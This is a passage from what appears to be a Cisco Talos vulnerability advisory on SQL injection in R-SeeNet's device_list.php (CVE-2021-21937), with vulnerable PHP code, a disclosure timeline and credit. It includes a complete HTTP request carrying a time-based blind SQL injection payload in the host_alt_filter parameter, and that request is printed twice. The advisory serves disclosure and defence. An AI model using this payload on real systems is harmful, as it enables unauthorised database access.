854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter=a&host_alt_filter="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21937 - 'host_alt_filter' parameter

Parameter host_alt_filter is set as a session variable on line 224 of device_list.php as seen below:

```
222   if(isset($_GET['host_alt_filter']))
223   { // je nastaven filtr hostname alt
224     $_SESSION['host_alt_filter'] = urldecode($_GET['host_alt_filter']);
225   }
```

Following the above code, a variable is used on line 579 in the following code to build up a SQL query which will get executed on line 869:

```
577   if((isset($_SESSION['host_alt_filter'])) && ($_SESSION['host_alt_filter'] != ''))
578   {
579     $sql = $sql.'AND hostname_alt LIKE "%'.mysqli_real_escape_string($link,$_SESSION['host_alt_filter']).'%" ';
580   }
581
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter=a&host_alt_filter="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

Timeline

2021-08-19 - Vendor Disclosure
2021-11-16 - Vendor Patched

2021-11-22 - Public Release

CREDIT

Discovered by Yuri Kramarz of Cisco Talos.

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